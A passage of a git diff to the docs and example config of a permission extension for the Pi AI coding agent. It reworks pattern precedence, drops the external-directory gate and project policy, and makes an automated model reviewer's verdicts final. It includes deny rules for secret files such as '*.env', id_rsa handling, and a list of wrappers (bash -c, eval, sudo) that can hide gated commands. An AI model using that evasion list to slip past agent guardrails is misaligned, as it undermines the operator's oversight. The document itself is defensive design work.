unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently -- **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts -- **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI -- **Native in-process subagent integration** — [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) and the source-maintained `my-pi` fork of [`tintinweb/pi-subagents`](https://github.com/tintinweb/pi-subagents) register child sessions automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration +- **Enforces `allow` / `ask` / `deny`** at tool-call time with UI confirmation dialogs +- **Uses one global ordinary policy file**; project `policy.jsonc` files are not loaded +- **Chooses the most specific matching pattern**, so a specific deny wins over a broad `"*": "allow"` regardless of declaration order +- **Applies a separate hard-guard policy first** so session grants, per-agent rules, and model review cannot override high-risk denies +- **Controls Bash, paths, MCP, skills, and tool surfaces** while leaving active-tool ownership entirely to Tool Search +- **Reviews ordinary `ask` requests automatically** with integrated AutoReview; its `allow` / `deny` verdict is final for ordinary tools and `path`, while `defer` reaches the next authorizer or human terminal +- **Forwards subagent `ask` decisions** to the parent authority and keeps structured audit logs ## Install @@ -78,66 +73,29 @@ This lets you express rules like "allow reads but deny `.env` files" at the indi Like the cross-cutting `path` surface, per-tool patterns match both the referenced path and its canonical (symlink-resolved) form, so a per-tool deny resists symlink-alias evasion. When Pi's current working directory is known, relative path inputs also match their cwd-normalized absolute form, so `src/App.jsx` can match both `src/*` and `/workspace/project/*`. -The `external_directory` surface is the CWD-boundary gate: it decides whether reaching **outside** the working tree is allowed, and accepts a pattern map so you can allow specific outside-CWD directories without opening up all external access. -This is the right surface for silencing repeated prompts on a local cache like `~/.cargo/registry` — allow it here, not on `path`: - -```jsonc -{ - "permission": { - "external_directory": { - "*": "ask", - "~/.cargo/registry/*": "allow" - } - } -} -``` - -The trailing `*` is greedy and crosses subdirectory boundaries, so it allows every file beneath the directory; a bare `~/.cargo/registry` matches only the directory entry itself. - -Four layers compose with most-restrictive-wins: `path` (cross-cutting) → `external_directory` (CWD boundary) → per-tool patterns → `bash` command patterns. -Because `ask` is more restrictive than `allow`, a `path` allow cannot loosen an `external_directory: ask` boundary — allow outside-CWD directories on `external_directory`. +Paths outside the working tree have no separate boundary gate. Configure them with the same `path`, per-tool, and Bash patterns used for in-project paths. These layers still compose with most-restrictive-wins. See [docs/configuration.md](docs/configuration.md) for the full recipe. ## Configuration -The integrated extension uses two independent JSONC files: +The integrated extension uses two independent global JSONC files: | Purpose | Scope | Path | | ------- | ----- | ---- | -| Ordinary policy, runtime knobs, AutoReview | Global | `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` | -| Ordinary policy override | Project | `/.pi/extensions/pi-permission-system/policy.jsonc` | +| Ordinary policy, runtime knobs, AutoReview | Global only | `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` | | Non-overridable hard guards | Global only | `~/.pi/agent/extensions/pi-permission-system/hard-guards.jsonc` | -The bundle seeds missing files once with mode `0600` and never overwrites user edits. On first load, an existing legacy global `config.json` is copied to `policy.jsonc`; the legacy file is left untouched. Project policy is loaded only for a trusted project. Hard guards are never loaded from the project and are evaluated before ordinary policy and session grants. +Project-level `policy.jsonc` files are ignored. Project agent Markdown remains a separate per-agent restriction mechanism. -Ordinary policy remains flat `allow` / `ask` / `deny`. The bundle default asks for unmatched requests and names the built-in `auto-review` authorizer. The evaluation order is: +The bundle seeds missing files with mode `0600`. During `update.sh`, only the exact known legacy default policy is backed up and replaced by the current bundled seed. Any customized or invalid policy is preserved and reported instead of being guessed or overwritten. -1. global hard guards (`deny` is final; `allow` is only an exception inside that file); -2. ordinary global/project/per-agent policy and current session grants; -3. built-in AutoReview for an ordinary `ask`; -4. the existing human prompt only when AutoReview returns `defer`. +Within a pattern map, the most specific match wins: exact patterns, then more literal characters, fewer wildcards, and longer patterns. Declaration order is only a tie-breaker. -`autoReview` and `analysis` are regular top-level keys in `policy.jsonc`. AutoReview defaults to `openai-codex/codex-auto-review`, low reasoning, and a 90-second budget. Model/config/authentication/timeout errors fail safe to `defer`. +There is no `external_directory` gate. Outside-CWD paths use the same configured tool, `path`, and Bash rules as other paths. -Completed model verdicts (`allow` and `deny`) are appended to an owner-only, sanitized count ledger. Rationales, transcripts, and raw tool payloads are not retained. After 500 new verdicts, `agent_settled` launches one isolated, tool-free background AgentSession using the configured review model. The validated proposal is persisted and delivered as a follow-up in the same conversation. It never edits either policy file automatically: the active agent must present the candidates and wait for the user's explicit selection and confirmation. A pending batch survives session shutdown and resumes in the next session. +Tool Search alone owns Pi's active tool list. Permission System only decides whether an invoked tool call is allowed, denied, or requires confirmation. -For the full policy surface and merge semantics, see [docs/configuration.md](docs/configuration.md). The integrated reviewer provenance is recorded in [docs/auto-review/UPSTREAM.md](docs/auto-review/UPSTREAM.md). - -## Upgrading - -### 22.0.0 — project config requires project trust - -Project-scoped configuration (the project `policy.jsonc` and project-agent frontmatter — both permission policy and runtime knobs such as `yoloMode`) is loaded only when Pi reports the project as trusted. -In an untrusted directory, only global config applies; a skip is surfaced with a warning and a `project_trust.skipped` review-log entry. -Grant project trust (or set `defaultProjectTrust`) to load a project's config. -See [docs/migration/0644-project-trust-gating.md](docs/migration/0644-project-trust-gating.md). - -### 16.0.0 — the bash gate now fails closed - -The permission gate fails closed: an internal gate error blocks the tool (with a `gate_error` review-log entry) instead of running it ungated, and a non-empty bash command that cannot be parsed resolves to `ask` (sentinel ``) rather than falling through to a permissive top-level `*`. -Commands that previously slipped through silently on the error or empty-parse path now block or prompt. - -If you relied on the old permissive behavior for bash, set an explicit permissive bash policy — `"bash": { "*": "allow" }` — which also suppresses the new startup warning emitted when a top-level `"*": "allow"` leaves bash ungated. +See [docs/configuration.md](docs/configuration.md) for the complete reference and [docs/hard-guards.md](docs/hard-guards.md) for the independent hard-guard format. ## Documentation diff --git a/pi-permission-system/config/config.example.json b/pi-permission-system/config/config.example.json index 7a66421..73d0236 100644 --- a/pi-permission-system/config/config.example.json +++ b/pi-permission-system/config/config.example.json @@ -13,7 +13,6 @@ "reviewLogFieldMaxWidth": 1000, - "piInfrastructureReadPaths": [], "authorizerChain": [], @@ -41,11 +40,6 @@ "npm *": { "action": "deny", "reason": "Use pnpm instead" } }, "mcp": { "*": "ask", "mcp_status": "allow", "mcp_list": "allow" }, - "skill": { "*": "ask" }, - "external_directory": { - "*": "ask", - "~/development/*": "allow", - "~/.cargo/registry/*": "allow" - } + "skill": { "*": "ask" } } } diff --git a/pi-permission-system/docs/architecture/architecture.md b/pi-permission-system/docs/architecture/architecture.md index daa9d63..6c8edb2 100644 --- a/pi-permission-system/docs/architecture/architecture.md +++ b/pi-permission-system/docs/architecture/architecture.md @@ -50,7 +50,7 @@ type RuleOrigin = | "fail-closed"; interface Rule { - /** The permission surface: "bash", "edit", "mcp", "skill", "external_directory", "path", etc. */ + /** The permission surface: "bash", "edit", "mcp", "skill", "path", etc. */ surface: string; /** The match pattern: a command glob, tool name, file path, skill name, or "*". */ pattern: string; @@ -76,158 +76,53 @@ Every config entry, default policy, session approval, and agent override normali type Ruleset = Rule[]; ``` -Merge precedence is array ordering. -The synthesized universal default goes first (lowest priority), then MCP baseline auto-allow rules, then config rules (global → project → agent → project-agent), and finally session rules (highest priority). -Last-match-wins: `evaluate()` scans from the end. +A `Ruleset` keeps declaration order for deterministic tie-breaking, but declaration order is not the primary precedence rule. +For all matching rules on the requested surface, `evaluate()` chooses the most specific pattern: + +1. exact match; +2. more literal characters; +3. fewer `*` wildcards; +4. longer pattern; +5. later declaration only for a complete tie. + +The synthesized universal `*` is therefore a fallback. A specific deny cannot be shadowed by a later broad allow. ### Evaluate -```typescript -function evaluate( - surface: string, - value: string, - rules: Ruleset, - platform: NodeJS.Platform, -): Rule { - for (let i = rules.length - 1; i >= 0; i--) { - const rule = rules[i]; - // On win32 a path-surface match folds case + separators; `platform` is - // injected from `PermissionManager` (read once at the composition root, - // #510), never `process.platform` ambiently. - if (ruleMatches(rule, surface, value, platform)) { - return rule; - } - } - // Unreachable when defaults are synthesized - the catch-all always matches. - return { surface, pattern: value, action: "ask" }; -} -``` +`evaluate()` filters to matching surface/value candidates, ranks them with the specificity comparator, and returns the highest-ranked rule. If none match, it returns the built-in `ask` fallback. -The entire decision engine. -When defaults are synthesized into the array, the catch-all `{ surface: "*", pattern: "*", action: "ask" }` always matches - the fallback return is defensive only. +## Decision composition -## Composed ruleset +PermissionManager does not load an ordinary project policy. It composes these authorities: -All rule sources are concatenated into a single flat array. -Index position determines priority (higher index wins): +1. global-only Hard Guards (first and final for matching `deny`); +2. session approvals; +3. active agent restrictions from global/project agent Markdown; +4. the single global ordinary policy; +5. built-in `ask`. -```text - ┌─────────────────────────────────────────────────────────────────┐ - │ Composed Ruleset (Rule[]) │ - │ │ - │ Index 0: Synthesized universal default (layer: "default") │ - │ { surface: "*", pattern: "*", action: permission["*"] } │ - │ │ - │ Index 1..B: MCP baseline auto-allow (layer: "baseline") │ - │ (only when any config rule has surface:"mcp" action:"allow") │ - │ { surface: "mcp", pattern: "mcp_status", action: "allow" } │ - │ { surface: "mcp", pattern: "mcp_list", action: "allow" } │ - │ { surface: "mcp", pattern: "mcp_search", action: "allow" } │ - │ { surface: "mcp", pattern: "mcp_describe", action: "allow" } │ - │ { surface: "mcp", pattern: "mcp_connect", action: "allow" } │ - │ │ - │ Index B+1..C: Config rules (global → project → agent, │ - │ layer: "config", origin: "global"|"project" │ - │ |"agent"|"project-agent") │ - │ { surface: "bash", pattern: "*", action: "allow", │ - │ origin: "global" } │ - │ { surface: "bash", pattern: "git *", action: "allow", │ - │ origin: "global" } │ - │ { surface: "bash", pattern: "rm *", action: "deny", │ - │ origin: "project" } │ - │ { surface: "read", pattern: "*", action: "allow", │ - │ origin: "global" } │ - │ { surface: "mcp", pattern: "exa:*", action: "allow", │ - │ origin: "agent" } │ - │ │ - │ Index C+1..end: Session rules (layer: "session", highest) │ - │ { surface: "external_directory", pattern: "/other/*", │ - │ action: "allow" } │ - │ │ - │ ◄── evaluate() scans from end, first match wins ──► │ - └─────────────────────────────────────────────────────────────────┘ -``` - -`synthesizeDefaults()` produces a single universal catch-all from `permission["*"]`. -Per-surface catch-alls (e.g. `bash: { "*": "allow" }`) are expressed as regular config rules via `normalizeFlatConfig()` - no separate override layer is needed. - -`synthesizeBaseline()` conditionally emits MCP metadata auto-allow rules. - -`composeRuleset()` concatenates: defaults + baseline + config rules. -Session rules are concatenated after config rules so `evaluate()` handles them via last-match-wins - no separate per-branch pre-check. - -### Default synthesis - -```typescript -// Single universal catch-all from permission["*"]. -function synthesizeDefaults(universalDefault: PermissionState): Ruleset { - return [ - { surface: "*", pattern: "*", action: universalDefault, layer: "default" }, - ]; -} - -// MCP metadata auto-allow - only synthesized when any config rule has -// surface: "mcp" && action: "allow". -function synthesizeBaseline(configRules: Ruleset): Ruleset { ... } - -// Concat in priority order: defaults, baseline, config. -function composeRuleset(defaults, baseline, config): Ruleset { - return [...defaults, ...baseline, ...config]; -} -``` +Rules inside one authority use pattern specificity. Results from independent gates (`path`, per-tool, Bash) compose most-restrictive-wins. AutoReview is not a ruleset layer: it only receives a completed ordinary-policy `ask`. ## Architecture overview ```mermaid flowchart TD - subgraph Load["Config loading (IO boundary - PolicyLoader)"] - GF["Global config file"] - PF["Project config file"] - AF["Agent frontmatter"] - GF --> PL["PolicyLoader"] - PF --> PL - AF --> PL - PL --> Norm["normalizeFlatConfig()"] - end - - subgraph Defaults["Default synthesis"] - DP["permission[*]"] --> Synth["synthesizeDefaults()"] - Synth --> DR["Default Rule (lowest priority)"] - Norm --> BL["synthesizeBaseline()"] - BL --> BR["Baseline Rules (conditional)"] - end - - Norm --> CR["Config Rules (layer: config)"] - SA["Session Rules
(layer: session, runtime)"] - - subgraph Compose["Rule composition"] - DR --> Concat["composeRuleset(...) + session"] - BR --> Concat - CR --> Concat - SA --> Concat - end - - subgraph Eval["Pure evaluation (no IO)"] - Concat --> E["evaluate(surface, value, composedRules)"] - E --> Decision["Rule { surface, pattern, action }"] - end - - subgraph PreProcess["Surface-specific input normalization"] - MCP["MCP target derivation
→ candidate values[]"] - Bash["Bash command decomposition
→ top-level commands[]
→ most restrictive wins"] - Skill["Skill name extraction
→ skill name"] - PathGate["Cross-cutting path gate
(all file access: tools + bash)
→ most restrictive wins"] - ExtDir["External directory detection
(tree-sitter-bash AST for bash; direct path for tools)
→ normalized path
(Pi infrastructure reads auto-allowed before gate)"] - end - - PathGate --> E - PreProcess --> E + HG["Global hard-guards.jsonc"] --> Intent["Resolved access intent"] + GP["Global policy.jsonc"] --> PM["PermissionManager"] + AF["Optional active-agent frontmatter"] --> PM + SR["SessionRules"] --> PM + Intent --> Pipeline["skill -> path -> bash -> tool gates"] + Pipeline --> PM + PM -->|allow| Allow["execute"] + PM -->|deny| Deny["block"] + PM -->|ask| Chain["authorizerChain"] + Chain -->|allow/deny| Result["resolve"] + Chain -->|defer or exhausted| Human["human prompt"] ``` -The `Agent frontmatter` input (`AF`) is the per-agent override layer. -It only carries data when an external multi-agent extension is active (see design principle 9): the package resolves the active agent's name from a generic `` signal, then reads the `permission:` sub-document of that agent's definition file at `/.pi/agents/.md` (project) or `/agents/.md` (global). -The package does not discover or enumerate agents — it reads one sub-document by name, on demand — and the `/.pi/agents` location is a Pi platform convention this package encodes independently (no dependency on pi-subagents, ADR 0002). +Project-level `policy.jsonc` is intentionally absent. Project agent Markdown may restrict one active agent, but it is not a second ordinary configuration scope. +Tool Search alone owns `getActiveTools()` / `setActiveTools()`. Permission System does not participate in tool visibility; it receives only calls Pi actually invokes. ## Config format ```jsonc @@ -239,7 +134,6 @@ The package does not discover or enumerate agents — it reads one sub-document "mcp": { "*": "ask", "exa:*": "allow" }, "skill": { "*": "ask", "librarian": "allow" }, "path": { "*": "allow", "*.env": "deny" }, - "external_directory": "ask" } } ``` @@ -278,19 +172,11 @@ Input normalization for all surfaces lives in `src/access-intent/input-normalize ### Path-bearing tool normalization -Per-tool path patterns — e.g. `"read": { "*": "allow", "*.env": "deny" }` — are evaluated via the `access-path` intent the per-tool gate emits ([#502]). -When the pipeline calls `resolvePerToolCheck`, a present `input.path` triggers `normalizer.forPath(path)` and an `access-path` intent on the tool-name surface; the resolver unwraps it to `path-values` carrying the lexical ∪ canonical alias set before the manager evaluates the rule. -When `input.path` is missing or empty, the pipeline falls back to a `tool` intent, which `normalizeInput` collapses to `["*"]` (surface catch-all). -Path alias derivation (home-expansion, cwd-relative aliases) lives in `getPathPolicyValues` / `AccessPath` — not in `normalizeInput`, which no longer touches path surfaces (#504). -`getToolPermission()` is unaffected — it always evaluates with `"*"` to determine whether to inject the tool at agent start. +Per-tool path patterns are emitted as `path-values` intents. Relative inputs may carry lexical, cwd-normalized absolute, and canonical aliases so one configured pattern can protect the same file across equivalent spellings. -The cross-cutting `path` and `external_directory` gates extract paths for **extension and MCP tools too** (#352): `describePathGate` and `describeExternalDirectoryGate` call `getToolInputPath`, which reads `input.path` for built-ins, `input.arguments.path` for MCP, and a registered `ToolAccessExtractor` (or the default `input.path` convention) for any other tool. -The extractor registry (`src/tool-access-extractor-registry.ts`) is created once in `index.ts` and shared: its lookup side is threaded into `ToolCallGatePipeline`, and its registrar side is exposed cross-extension via `PermissionsService.registerToolAccessExtractor`. -Per-tool path maps for extension tools (a custom extractor key per tool) are a deferred follow-up. - -On the bash side, which argument tokens count as filesystem operands is settled by [ADR 0009](../decisions/0009-bash-path-projection-completeness-contract.md): candidacy comes from the filesystem (a bare token is a path candidate iff it names an existing entry), the decision comes from explicit rules or the external boundary, and the ADR names both what the projection guarantees and which gaps are accepted residuals rather than bugs. -A plain `$HOME` / `${HOME}` / `$PWD` / `${PWD}` reference is resolved at token collection, upstream of classification, so an expanded token is gated exactly as its literal spelling; the resolvable set is closed at those two names by the same ADR. +There is no outside-CWD classifier and no `external_directory` intent. Paths outside the working directory use the same `path`, per-tool, and Bash policy evaluation as paths inside it. +Tools such as SSH that carry remote paths register an explicit extractor so local path normalization is not inferred from `input.path`. ## Session approvals: the cache-miss model Session rules are stored as `Ruleset` and are generalized to all surfaces. @@ -335,7 +221,6 @@ The pattern determines what class of future requests auto-approve: | tool (read/write/etc.) | tool surface itself | `*` (all uses of that tool) | Tool-level | | mcp | `exa:search` | `exa:*` | Server-level wildcard | | skill | `librarian` | `librarian` | Exact name | -| external_directory | `/other/project/src/foo.ts` | `/other/project/*` | Directory prefix as glob | The suggestion is shown in the dialog text so the user sees what they're approving: @@ -485,8 +370,8 @@ The `PermissionsService` interface exposes five methods: - `checkPermission(surface, value?, agentName?)` - full policy query. - `getToolPermission(toolName, agentName?)` - tool-level permission state (`allow`/`deny`/`ask`) for pre-filtering. - `registerToolInputFormatter(toolName, formatter)` - register a custom ask-prompt preview for a tool name; returns a disposer (#283). -- `registerToolAccessExtractor(toolName, extractor)` - declare the filesystem path a non-conventional tool accesses, so the cross-cutting `path`/`external_directory` gates see it; returns a disposer (#352). -- `registerAuthorizer(name, authorize)` - register a named live-authority chain link (`allow | deny | defer`, ADR 0007 §4); decides nothing until the operator names it in `authorizerChain` config, and every verdict is capped by the bounded-delegation checkpoint; returns a disposer. +- `registerToolAccessExtractor(toolName, extractor)` - declare the local filesystem path a non-conventional tool accesses so the cross-cutting `path` gate sees it, or explicitly suppress local-path inference for remote tools; returns a disposer. +- `registerAuthorizer(name, authorize)` - register a named live-authority chain link (`allow | deny | defer`); it decides nothing until the operator names it in `authorizerChain`, then `allow` / `deny` is final for any ordinary-policy `ask`, including `path`; returns a disposer. `permissions:decision` and `permissions:ui_prompt` broadcasts remain on the event bus - fire-and-forget observation is the right abstraction for those channels ([#531] removed the event-bus RPC channel; the service accessor is now the sole cross-extension policy/prompt surface). @@ -560,7 +445,7 @@ The courier hop carries facts, not judgment — but what the serving node recons An **in-process seam** — the `Authorizer` chain, reached through `PromptPermissionDetails` — receives the full child-fixed fact set. A chain link is operator-opted-in via `authorizerChain` and must decide from evidence, not from parsed display text or a parent-side re-derivation of the child's path ([ADR 0008](../decisions/0008-cross-session-access-intent.md) forbids the latter outright). -The bounded-delegation checkpoint reads the same facts, so a forwarded ask is capped on the gate surface exactly as a local one is ([ADR 0007](../decisions/0007-model-judge-authorizer-chain-adr.md) §5). +The same child-fixed facts let the serving node's configured authorizer decide a forwarded ask without re-deriving its path or trust context. A **cross-extension broadcast** — `permissions:ui_prompt` / `permissions:decision` on `pi.events` — receives the minimum needed to stay correlatable, because any loaded extension can observe it. @@ -585,7 +470,7 @@ The ruleset is the whole story for asks the ruleset produces. An `ask` synthesized *after* resolution is not one: the bash wrapper floor (#481, #490) and the fail-closed `` sentinel (#452) are properties of a parsed command unit, not of a pattern, so there is no rule for the rewrite to touch and they reached the prompter under yolo (#712). The reconciliation has exactly one home — `resolveYoloGrant` at `GateRunner`'s auto-approve fast path, the single choke point every gate passes through before escalating — so the contract "an `ask` never reaches `PermissionPrompter` under yolo" holds structurally for whatever floor is added next. It is the same deny-preserving shape as the rewrite: a `deny` is not an `ask`, so it matches neither arm. -A future "disable everything" mode — overriding denies too — would be a *different*, deliberately named operation: appending a final `{ surface: "*", pattern: "*", action: "allow" }` rule (last-match-wins). +A future "disable everything" mode — overriding denies too — would require a separate, deliberately named bypass. Appending a broad allow cannot override a more-specific deny under specificity-based evaluation. It is not built, and it would be requested by name, never conflated with yolo. ### Fail-closed on an invalid non-global scope @@ -624,15 +509,13 @@ ordinaryManager.check(intent, session rules) ask -> authorizer chain -> human terminal fallback ``` -Thus hard-file `allow` means “not blocked by hard guards,” not “approved overall.” Project config, per-agent config, session grants, yolo mode, and model authority cannot loosen a hard deny. +Thus hard-file `allow` means “not blocked by hard guards,” not “approved overall.” Ordinary policy, per-agent restrictions, session grants, yolo mode, and model authority cannot loosen a hard deny. Completed AutoReview verdicts flow to an owner-only count ledger. The reviewer callback strips rationale/transcript/raw payload and persists bounded fingerprints. Reaching the configured checkpoint marks analysis pending. At `agent_settled`, a tool-free, extension-free, in-memory AgentSession receives only aggregated records. Its strict JSON proposal is validated against the evidence, persisted, and injected into the same session as a follow-up. The checkpoint advances only after a valid proposal is stored; shutdown leaves pending work durable. No analysis path mutates either policy file. -The public authorizer registry remains available for other named authorities. Configuration order still determines chain order, unregistered names are skipped fail-safe, and the delegation envelope remains the final boundary on model `allow` decisions. +The public authorizer registry remains available for other named authorities. Configuration order determines chain order, unregistered names are skipped fail-safe, and registration alone grants no authority. -Registration mirrors `registerToolAccessExtractor`: a downstream extension offers a **named** capability (`registerAuthorizer("model-judge", …)`) on `permissions:ready`, and this package makes no LLM call itself. -Three invariants govern the seam: config order (not registration order) fixes the security-relevant chain order; a missing configured link is skipped fail-safe (more prompting, never less); and **registration alone grants no authority** — a link decides nothing until the operator names it in the `authorizerChain` config (opt-in). -Bounded delegation is operator config this package enforces at a checkpoint that downgrades an excluded-surface `allow` to `defer`, with `external_directory` and secret-shaped `path` always excluded; the model's provider/prompt/threshold live in the downstream extension's own config. +Authorizers are named capabilities registered on `permissions:ready`; the integrated `auto-review` authorizer uses the same chain contract as third-party links. Once configured, a link's `allow` or `deny` is final for any ordinary-policy `ask`, including `path`; `defer` advances to the next link or terminal. This is the principled successor to the per-command argument-position work deferred from [#509]. The bash path projection surfaces a bare token that names a real file ([#645]) and deliberately accepts a fail-safe false positive (`grep id_rsa secrets.txt` prompts when an `id_rsa` file happens to exist); that false positive lives on the *ask-producing* side of `evaluate()`, and the model link dismisses it on the *ask-consuming* side without hard-coding per-command file-argument tables. @@ -643,44 +526,11 @@ The two compose cleanly because a promoted token emits the same structured descr ### Resolved direction -These were the open decisions; they are now settled and shipped (full rationale in [history/phase-9-authorizer-spine.md](history/phase-9-authorizer-spine.md)). +The deterministic core accepts a closed `ResolvedAccessIntent` union emitted by the gate pipeline. One resolver answers those intents; adding a gate does not add a side-channel policy method. -1. **Serving is resolution.** - A serving node runs `evaluate()` against its recorded authority then escalates to its own `Authorizer` on `ask`, carrying the forwarded ask's provenance as data so the `permissions:ui_prompt` broadcast stays non-degraded. -2. **Multi-level escalation: admitted, not shipped.** - A middle node's chain terminates in a `ParentAuthorizer`, so re-escalation needs no special-casing; the tree is depth-2 today (pi-subagents' recursion guard), and a one-hop canary flags any future break. -3. **Full delegation of authority down the tree.** - A subagent inherits its ancestors' `allow`/`deny` rules and yolo; because yolo is deny-preserving, the safeguard for a cheaper delegate is an explicit `deny` in its per-agent frontmatter, not an `ask`. -4. **Grant scope is human-selectable.** - Approving a forwarded request "for this session" offers root / parent / requesting-subagent scope (requesting subagent pre-selected); "parent" and "root" coincide until trees deepen. - -### Remaining design work - -**Access-intent extraction** is the one genuinely open piece, and the foundation for the path surface of the decisions above. -The package's center of mass is not the decision engine (tiny, pure) but turning `(toolName, input)` into "what is being accessed" — bash decomposition, MCP target derivation, path extraction, external-directory detection. -This is a distinct domain (access intent) that gates should *emit* and a single `resolve(intent)` should answer, so adding a gate cannot widen the resolver surface. -The [#393] false-green (a stubbed-but-unrouted resolver method silently passing `allow`) was the probe pointing at it: the resolver surface was `resolve` + `resolvePathPolicy`, widening per gate, until Phase 6 Step 6 ([#478]) collapsed it to one `resolve(intent)`. -[#418] is a second probe, from the access-path side: both external-directory gates matched config patterns against the symlink-resolved path because a single `string` carries a path that is simultaneously a containment value (canonical, for the outside-CWD boundary) and a match value (lexical, as the user typed it), with no type distinction — so the canonical form leaked into matching and defeated a configured `/tmp/*` allow. -The same conflation lived in `BashProgram.externalPaths(): string[]`, which returned only the canonical form and so lost the typed value the matcher needed. -The fix's `getExternalDirectoryPolicyValues` helper (the union of lexical aliases and the canonical path) was the embryo of the access-path: `AccessPath` ([#476]) now holds both forms behind distinct `matchValues()` and boundary accessors, making the misuse a compile error; `BashProgram.externalPaths()` now returns `AccessPath[]` and one external-directory policy check can replace the two parallel gates that independently acquired this bug. -The tractable first slice was the access-path value object seeded by [#418]: it removed the path-representation conflation and the duplicate external-directory gate without waiting on principal identity or cross-session portability. -Principal identity and path portability across cwds — a subagent in a `pi-subagents-worktrees` worktree resolves paths against a different root than the parent — are now settled: [ADR 0008](../decisions/0008-cross-session-access-intent.md) (Phase 12) fixes a path-shaped ask's portable meaning at the child (the child's lexical ∪ canonical `matchValues()` plus canonical `boundaryValue()`), carries it onto the forwarded wire as `ForwardedAccessIntent`, and makes serving agent-scoped (`requesterAgentName` decision-participating). -A forwarded ask now resolves against the child-fixed alias set rather than a re-derivation through the parent's `PathNormalizer`/cwd. -With principal identity and path portability delivered, this domain has no further genuinely open piece; a non-path serving refinement (a per-surface `Authorizer` chain exclusion beyond `external_directory`/secret-shaped `path`) remains a candidate but is not scheduled. - -### Beyond the target: a non-deterministic access-intent classifier - -This is a **more distant** direction than the target above — noted as a candidate extension point, not planned work. - -Access-intent extraction is deterministic by design: `(toolName, input)` becomes "what is being accessed" through bash decomposition, MCP target derivation, and path rules. -A second, independent place non-determinism could one day enter is a model that *classifies* access intent **before** `evaluate()` — deciding, for instance, that `id_rsa` in `git grep id_rsa` is a search pattern rather than a file, so no path candidate is emitted at all. - -The classifier differs from the [`ModelTriageAuthorizer`](#discriminating-delegation-a-model-authorizer) in *where the model sits*. -The classifier feeds **recorded** authority — it shapes the intent `evaluate()` rules on — whereas the Authorizer holds **live** authority and answers the `ask`. -A wrong classifier call is a misread of what is being accessed; a wrong Authorizer call is a mis-granted decision. -Because the classifier changes the *input* to the deterministic core, it weakens the "same `(toolName, input)` yields the same ruling" property more subtly than the Authorizer does — the model output becomes part of the intent — so it warrants its own decision record and is deliberately out of scope for the current target. -The access-intent domain the gates emit into is the natural seam for such a pluggable classifier: deterministic today, model-assisted only if and when that trade is made by name. +The current classifier is deterministic. Bash parsing and registered tool extractors may emit `path-values`; there is no outside-CWD intent. Model judgment is downstream and receives only completed `ask` decisions through the authorizer chain. +This preserves the core property that the same policy and resolved intent produce the same deterministic decision. ### Beyond the target: a pluggable escalation seam The **registration seam** this section anticipated is now designed: [ADR 0007](../decisions/0007-model-judge-authorizer-chain-adr.md) settles the `Authorizer` chain and its named-link registration (`registerAuthorizer`), with the model judge as its first consumer. @@ -725,160 +575,25 @@ The concept and the code role take two grammatical forms of one root, each for w ```text src/ -├── rule.ts Rule type, Ruleset type, evaluate() (takes an injected `PathFlavor` for win32 path-surface case-folding); exports `pathMatchOptions(surface, flavor)` -├── normalize.ts Config → Ruleset normalization (flat format) -├── synthesize.ts Universal default + MCP baseline → Ruleset -├── wildcard-matcher.ts Compiled glob matching. `CompiledWildcardPattern.matches(value)` is the only match surface (no exposed `RegExp`). Constraint: the win32 `windowsSeparators` fold applies to the pattern and the matched value alike, and lives on the compiled pattern so it cannot be half-applied — folding only the pattern makes every forward-slash value unmatchable (#653) -├── pattern-suggest.ts Per-surface approval pattern suggestions -├── bash-arity.ts Command arity table for bash pattern suggestions -├── expand-home.ts `expandHomePath`: `~` / `$HOME` / `${HOME}` expansion for patterns and path values, over one prefix table so the three spellings cannot drift; a prefix is recognized only standalone or before a separator, so `~username` / `$HOMEDIR` / `${HOME:-/tmp}` are left alone -├── session-approval.ts SessionApproval value object - owns the single/multi-pattern union; exposes representativePattern and toGateApproval() -├── session-rules.ts Session approval store (Ruleset wrapper); `implements SessionApprovalRecorder`; injected into `GateRunner` as the recorder role -├── policy-loader.ts PolicyLoader interface + FilePolicyLoader (file I/O, mtime caching); marks a present-but-unloadable non-global scope `invalid` (an absent file stays a plain empty scope) so composition can fail closed -├── scope-merge.ts Cross-scope permission merge + origin-map bookkeeping -├── permission-manager.ts Scope loading + rule composition + `check(intent)` (single resolution entry point); delegates I/O to PolicyLoader; floors the composed ruleset `allow`→`ask` (origin `fail-closed`) when a non-global scope is `invalid`, and appends a fail-closed notice to `getConfigIssues`. Constraint: stays string-based — must not import `AccessPath` (the ADR 0002 string boundary, lint-guarded by `no-restricted-imports`) -├── permission-gate.ts Pure deny/ask/allow gate (injected IO) -├── permission-resolver.ts `ScopedPermissionResolver` interface - the single `{ resolve(intent) }` role the gate factories / runner / pipeline depend on; `PermissionResolver` concrete class holds `ScopedPermissionManager` + `SessionRules`, owns `resolve(intent)` (unwraps an `access-path` `AccessIntent` via `matchValues()` before calling `manager.check`; the concrete class also accepts a pre-fixed `path-values` intent as a passthrough — the forwarded-serving wire's producer, #597 — while the gate-facing interface stays narrow to `AccessIntent`), raw `checkPermission` (`implements SkillPermissionChecker`, no session rules), `getToolPermission`, and `getConfigIssues` -├── decision-reporter.ts `DecisionReporter` interface + `GateDecisionReporter` class - owns `SessionLogger` and event bus; writes review-log entries and emits decision events -├── decision-audit.ts `DecisionRecorder` / `DecisionSummaryWriter` / `AuditLogger` interfaces + `DecisionAudit` class - per-session decision counters; `writeSummary` emits a `permission.session_summary` debug line on shutdown and warns on a `toolCalls != allowed + blocked + errors` invariant violation -├── session-approval-recorder.ts `SessionApprovalRecorder` interface - records a granted session-scoped approval into the session ruleset; implemented by `SessionRules` -│ -├── permission-session.ts `PermissionSession` class - state/lifecycle owner: owns context lifecycle, session-rule lifecycle (`reset`/`shutdown`/`reload`), skill entries, agent-name resolution, the config gateway, the Tell-Don't-Ask gate inputs, and `notify(message)` (UI warn over the owned context, no-op before activation); `implements ToolCallGateInputs`. The resolve role lives in `PermissionResolver`, the recorder role in `SessionRules`; handlers depend on the concrete class + `PermissionResolver` -├── path-normalizer.ts `PathNormalizer` class - the path-interpretation collaborator constructed once at the session edge with the injected `PathFlavor` (exposed as `readonly flavor`) and session `cwd` baked in; hands raw tokens, returns prepared values: `forPath`/`forLiteral` (build `AccessPath`s), 